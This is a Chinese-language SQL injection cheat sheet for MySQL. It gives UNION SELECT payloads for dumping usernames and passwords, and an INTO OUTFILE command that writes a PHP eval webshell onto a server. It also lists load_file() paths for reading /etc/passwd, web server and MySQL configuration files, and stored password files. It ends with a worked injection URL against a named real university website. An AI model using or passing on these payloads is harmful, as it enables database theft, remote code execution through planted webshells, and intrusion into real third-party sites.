Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1

直接写马(Root权限)
条件：1、知道站点物理路径
2、有足够大的权限（可以用select …. from mysql.user测试）
3、magic_quotes_gpc()=OFF
select ‘<?php eval($_POST[cmd])?>’ into outfile ‘物理路径’
and 1=2 union all select 一句话HEX值 into outfile '路径'

load_file() 常用路径：

1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
15、 /etc/sysconfig/iptables 本看防火墙策略
16 、 usr/local/app/php5 b/php.ini PHP 的相当设置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 红帽子的系统版本
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相关设置
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25、c:\boot.ini
网站常用配置文件 config.inc.php、config.php。load_file（）时要用replace（load_file(HEX)，char(60),char(32)）
注：
Char(60)表示 <
Char(32)表示 空格

手工注射时出现的问题：
当注射后页面显示：
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
如：http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20
这是由于前后编码不一致造成的，
解决方法：在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为：
http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20